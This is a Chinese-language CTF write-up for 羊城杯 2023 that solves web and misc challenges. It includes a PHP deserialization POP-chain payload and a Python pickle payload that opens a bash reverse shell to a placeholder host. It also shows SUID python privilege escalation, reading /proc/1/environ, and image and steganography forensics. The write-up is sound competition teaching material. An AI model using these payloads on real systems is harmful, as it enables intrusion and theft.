羊城杯 2023

Web

D0n't pl4y g4m3!!!

通过 Burp Suite 抓包可以发现存在 hint,如下图所示

D0n_t_pl4y_g4m3!!!-1

hint.zip 内存在一个 hint.txt 内容如下

Ö_0 0vO Ow0 0w0 Ö_0 Ö_O Ö.O o_o 0.O OvO o.0 owo o.Ö Ö.Ö Ovo 0_Ö Ö_o owO O.0 owo Ö_o owO O.0 owo Ö_0 0wÖ O.0 0w0 Ö_0 OwO ov0 owo o_O O.Ö Övo 

在网上可以找到这个 人类语言与尊嘟语的转换器 ,使用回显如下图

D0n_t_pl4y_g4m3!!!-2

回头继续看 Header 可以得到 PHP 版本为 7.4.21 ,在这个版本下存在一个漏洞 PHP<=7.4.21 Development Server源码泄露漏洞

先在 Repeater 关闭自动更新 Content-Length 功能,然后打开 \n 显示,如下图所示进行修改

D0n_t_pl4y_g4m3!!!-3

就可以得到 /p0p.php 的源码如下

<?php
header("HTTP/1.1 302 found");
header("Location:https://passer-by.com/pacman/");

class Pro{
    private $exp;
    private $rce2;

    public function __get($name)
    {
        return $this->$rce2=$this->exp[$rce2];
    }
    public  function __toString()
    {
            call_user_func('system', "cat /flag");
     }
}

class Yang
{
    public function __call($name, $ary)
    {
        if ($this->key === true || $this->finish1->name) {
            if ($this->finish->finish) {
                call_user_func($this->now[$name], $ary[0]);
            }
        }
    }
    public function ycb()
    {
        $this->now = 0;
        return $this->finish->finish;
    }
    public function __wakeup()
    {
        $this->key = True;
    }
}
class Cheng
{
    private $finish;
    public $name;
    public function __get($value)
    {

        return $this->$value = $this->name[$value];
    }
}
class Bei
{
    public function __destruct()
    {
        if ($this->CTF->ycb()) {
            $this->fine->YCB1($this->rce, $this->rce1);
        }
    }
    public function __wakeup()
    {
        $this->key = false;
    }
}

function prohib($a){
    $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
    return preg_replace($filter,'',$a);
}

$a = $_POST["CTF"];
if (isset($a)){
  unserialize(prohib($a));
}
?>

看来是个反序列化的题目,那就先构造 POP 链罢,如下所示

Bei::__destruct()->Yang::ycb()->Cheng::__get()->Yang::__call()->highlight_file('/tmp/catcatf1ag.txt')

构造 Payload 具体过程如下

$bei = new Bei;
$yang = new Yang;
$cheng = new Cheng;
$bei->CTF = $yang;
$cheng->name = ['finish' => 1];
$yang->finish = $cheng;
$yang_fine = new Yang;
$yang_fine->key = true;
$yang_fine->finish = $cheng;
$yang_fine->now = ['YCB1' => 'highlight_file'];
$bei->rce = '/tmp/catcatf1ag.txt';
$bei->rce1 = '1';
$bei->fine = $yang_fine;

echo serialize($bei);
// O:3:"Bei":4:{s:3:"CTF";O:4:"Yang":1:{s:6:"finish";O:5:"Cheng":1:{s:4:"name";a:1:{s:6:"finish";i:1;}}}s:3:"rce";s:19:"/tmp/catcatf1ag.txt";s:4:"rce1";s:1:"1";s:4:"fine";O:4:"Yang":3:{s:3:"key";b:1;s:6:"finish";r:3;s:3:"now";a:1:{s:4:"YCB1";s:14:"highlight_file";}}}

通过构造 Payload 如下

CTF=O:3:"Bei":4:{s:3:"CTF";O:4:"Yang":1:{s:6:"finish";O:5:"Cheng":1:{s:4:"name";a:1:{s:6:"finish";i:1;}}}s:3:"rce";s:19:"/tmp/catcatf1ag.txt";s:4:"rce1";s:1:"1";s:4:"fine";O:4:"Yang":3:{s:3:"key";b:1;s:6:"finish";r:3;s:3:"now";a:1:{s:4:"YCB1";s:14:"highlight_file";}}}

即可得到 flag,别忘了恢复 Update Content-Length 以及修改请求头并加上 Content-Type!

D0n_t_pl4y_g4m3!!!-3

Serpent

根据题目描述

 I have been endeavoring to Reduce my phobia of Serpents by learning more about them. Do not scan, note that there is a www.zip file under the website.

可以下载得到附件 www.zip ,内容如下

from flask import Flask, session
from secret import secret

@app.route('/verification')
def verification():
    try:
        attribute = session.get('Attribute')
        if not isinstance(attribute, dict):
            raise Exception
    except Exception:
        return 'Hacker!!!'
    if attribute.get('name') == 'admin':
        if attribute.get('admin') == 1:
            return secret
        else:
            return "Don't play tricks on me"
    else:
        return "You are a perfect stranger to me"

if __name__ == '__main__':
    app.run('0.0.0.0', port=80)

分析代码说明需要伪造 Session ,先 decode 康康 Session 是什么结构。

$ python flask_session_cookie_manager3.py decode -c 'eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjAsIm5hbWUiOiJHV0hUIiwic2VjcmV0X2tleSI6IkdXSFQ5dFUzRHgxZXpmIn19.ZPK7Nw.IpOw9f3OmOU5pSsrypkjBPPtGNY'
b'{"Attribute":{"admin":0,"name":"GWHT","secret_key":"GWHTqXzgq93jM0"}}'

可以发现 secret_key 直接白给,那多好啊是吧(x。那就直接先根据题目要求伪造 Session,过程如下

import subprocess

def getSession():
    command = ['python', 'flask_session_cookie_manager3.py', 'encode', '-t', '{"Attribute":{"admin":1,"name":"admin","secret_key":"GWHTqXzgq93jM0"}}', '-s',
               "GWHTqXzgq93jM0"]
    result = subprocess.run(command, capture_output=True, text=True)
    output = result.stdout.strip()
    return output

print(getSession())
# eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjEsIm5hbWUiOiJhZG1pbiIsInNlY3JldF9rZXkiOiJHV0hUcVh6Z3E5M2pNMCJ9fQ.ZPNNaw.7q9kgA4zsV536e4enMqC8e-fr9E

使用 Burp Suite 提交即可得到以下内容

Serpent-1

访问 /ppppppppppick1e 后查看 Header 可以看到 Hint Source in /src0de 如下

Serpent-2

访问 /src0de 可以得到部分源码如下

@app.route('/src0de')
def src0de():
    f = open(__file__, 'r')
    rsp = f.read()
    f.close()
    return rsp[rsp.index("@app.route('/src0de')"):]

@app.route('/ppppppppppick1e')
def ppppppppppick1e():
    try:
        username = "admin"
        rsp = make_response("Hello, %s " % username)
        rsp.headers['hint'] = "Source in /src0de"
        pick1e = request.cookies.get('pick1e')
        if pick1e is not None:
            pick1e = base64.b64decode(pick1e)
        else:
            return rsp
        if check(pick1e):
            pick1e = pickle.loads(pick1e)
            return "Go for it!!!"
        else:
            return "No Way!!!"
    except Exception as e:
        error_message = str(e)
        return error_message

    return rsp

class GWHT():
    def __init__(self):
        pass

if __name__ == '__main__':
    app.run('0.0.0.0', port=80)

通过 pickle 得知这是一个反序列化题目,尝试使用 __reduce__ 绕过实现弹 Shell 但是发现并不行,一直回显 No Way!!! ,通过百度后发现应该是 R 指令被过滤了,需要进行绕过。

需要先通过内网穿透让 Kali 能够进行监听。

import base64
import pickletools
payload = b"(cos\nsystem\nS'bash -c \\'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2333 0>&1\\''\no"
print(base64.b64encode(payload).decode())
#KGNvcwpzeXN0ZW0KUydiYXNoIC1jIFwnYmFzaCAtaSA+JiAvZGV2L3RjcC94eHgueHh4Lnh4eC54eHgvMjMzMyAwPiYxXCcnCm8=

通过构造 Payload 如下

Cookie:session=eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjEsIm5hbWUiOiJhZG1pbiIsInNlY3JldF9rZXkiOiJHV0hUcVh6Z3E5M2pNMCJ9fQ.ZPNNaw.7q9kgA4zsV536e4enMqC8e-fr9E;pick1e=KGNvcwpzeXN0ZW0KUydiYXNoIC1jIFwnYmFzaCAtaSA+JiAvZGV2L3RjcC94eHgueHh4Lnh4eC54eHgvMjMzMyAwPiYxXCcnCm8=

就可以弹 Shell 了,通过 find 查找一些特权程序发现有 /usr/bin/python3.8

www-data@out-0:~$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/su
/usr/bin/mount
/usr/bin/passwd
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/python3.8

那我们可以通过 python 来读取 www-data 无权访问的 /flag

www-data@out-0:~$ echo "with open('/flag') as file: print(file.read())"  > shell.py
<n('/flag') as file: print(file.read())"  > shell.py
www-data@out-0:~$ cat shell.py
cat shell.py
with open('/flag') as file: print(file.read())
www-data@out-0:~$ /usr/bin/python3.8 shell.py
/usr/bin/python3.8 shell.py
DASCTF{47147546620073247267003734242596}

ArkNights

非预期解 - Flag 在环境变量没删掉(

分析源码存在任意文件读取

@app.route('/read')
def read():
        file = request.args.get('file')
        fileblacklist=re.findall("/flag|fl|ag/",file, re.IGNORECASE)
        if fileblacklist:
            return "bad hacker!"
        start=request.args.get("start","0")
        end=request.args.get("end","0")
        if start=="0" and end=="0":
            return open(file,"rb").read()
        else:
            start,end=int(start),int(end)
            f=open(file,"rb")
            f.seek(start)
            data=f.read(end)
            return data

构造 Payload 如下

/read?file=/proc/1/environ

可以得到以下内容

PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=out-0DASFLAG=DASCTF{14925689287874371877282469112808}KUBERNETES_PORT_443_TCP_PORT=443KUBERNETES_PORT_443_TCP_ADDR=10.255.128.1KUBERNETES_SERVICE_HOST=10.255.128.1KUBERNETES_SERVICE_PORT=443KUBERNETES_SERVICE_PORT_HTTPS=443KUBERNETES_PORT=tcp://10.255.128.1:443KUBERNETES_PORT_443_TCP=tcp://10.255.128.1:443KUBERNETES_PORT_443_TCP_PROTO=tcpLANG=C.UTF-8GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568PYTHON_VERSION=3.8.16PYTHON_PIP_VERSION=22.0.4PYTHON_SETUPTOOLS_VERSION=57.5.0PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/0d8570dc44796f4369b652222cf176b3db6ac70e/public/get-pip.pyPYTHON_GET_PIP_SHA256=96461deced5c2a487ddc65207ec5a9cffeca0d34e7af7ea1afc470ff0d746207FLASK_APP=app.pyFLASK_ENV=productionHOME=/home/ctf

Misc

EZ_misc

https://blog.csdn.net/beyondlight6/article/details/127497641

可以发现附件底下有像素,并且丢进 Kali 无法显示图片,说明需要先还原附件原始的宽高,可以通过 CRC 进行爆破得到真实的宽高数据。

破解还原后宽高会得到回显 flag不在这里哦hhhhhh,说明另有说法。用 010 Editor 打开原附件可以看到底部存在一个压缩包。

EZ_misc-2

将压缩包提取出来,需要注意 zip 压缩包的文件头是 50 4B 03 04 ,因此需要改一下头部的文件头。之后就可以得到 feld.txt ,内容如下

vzbtrvplnnvphsqkxsiqibroou

丢进 https://www.dcode.fr/cipher-identifier 推测是维吉尼亚密码,那就丢进 https://www.dcode.fr/vigenere-cipher 可以发现原文如下

EZ_misc-3

try to think the snipping tools

通过百度搜索截图工具得知是 Windows 11 截图工具的漏洞 Windows Snipping Tool Information Disclosure Vulnerability (CVE-2023-28303),通过 Github 搜索 CVE-2023-28303 可以得到恢复截图的工具,在 Kali 装上并安装所需库就输入以下内容

$ python gui.py

即可打开一个工具的 GUI 界面如下

EZ_misc-4

点击 Restoring Tool 并把恢复宽高的图片丢进去选择 Windows 11 Snippint Tool 后点击 Acropalypse Now! 即可恢复原图如下

EZ_misc-5

DASCTF{CvE_1s_V3Ry_intEr3sting!!}

Matryoshka

附件是 flag.img ,那就用 FTK Image 打开康康,加载后可以看到以下内容

  • Partition 5(软件)

    • [root]

      • encrypt 加密卷
  • Partition 6 (文档)

    • [root]

      • normal_rar.rar
      • not_real_cat.jpg

将以上内容提取出来,用 010 Editor 打开可以看到一下划选内容如下

Matryoshka-1

可以看到文件头是 FF D8 DD E0 可以判断是个 JPG 图片,将划选内容提取出来命名为 cat.jpg ,可以得到一张和 not_real_cat.jpg 类似的图片,猜测是盲水印。提取出来的 cat.jpg 是原图,not_real_cat.jpg 是水印图。

https://github.com/linyacool/blind-watermark

https://github.com/chishaxie/BlindWaterMark

盲水印脚本有多种,并且 Python 2 和 Python 3 的解题结果不同,可以多尝试

这题解出来使用的是第二个 URL 的 Python 2 脚本

$ python bwmforpy3.py decode 1.jpg 2.jpg flag.jpg --oldseed
image<1.jpg> + image(encoded)<2.jpg> -> watermark<flag.jpg>

就可以得到水印图如下

Matryoshka-2

可以得到 Watermark_is_fun ,猜测是加密卷的密码。

使用 VeraCrypt 加载 encrypt ,选择一个空闲的盘符然后输入密码进行加载,可以得到 flag.txt ,文件内容如下

KBAUYVCSKR5‌‌‌‌‍‌‍XK‌‌‌‌‍‬‌‍5TYM‌‌‌‌‍‍‌5SGC3‌‌‌‌‍‌‬LMNJXWY4BQPBPXSYLVL‌‌‌‌‍‬‍‌‌‌‌‍‬54TCZLCL5‌‌‌‌‍‌UHUM27NUYTI4JBEEQX2‌‌‌‌‍‬‬‌===
‌‌‌‌‍‬‬‌‌‌‌‍‬‌‍

猜测是零宽字符,通过 https://330k.github.io/misc_tools/unicode_steganography.html 可以得到原文和隐藏的文字如下图所示。

Matryoshka-3

原文:KBAUYVCSKR5XK5TYM5SGC3LMNJXWY4BQPBPXSYLVL54TCZLCL5UHUM27NUYTI4JBEEQX2===
隐藏:Matryoshka

根据原文的特点以及末尾的三个等号猜测是 base32 编码,解码后可以得到原文

PALTRT{uvxgdamljolp0x_yau_y1eb_hz3_m14q!!!}

将原文丢进 https://www.dcode.fr/cipher-identifier 进行识别可以得知这个大概率是维吉尼亚密码,那隐藏文字就是 KEY 了,通过 https://www.dcode.fr/vigenere-cipher 进行解密就可以得到 flag 了。

DASCTF{congratulati0n_you_f1nd_th3_f14g!!!}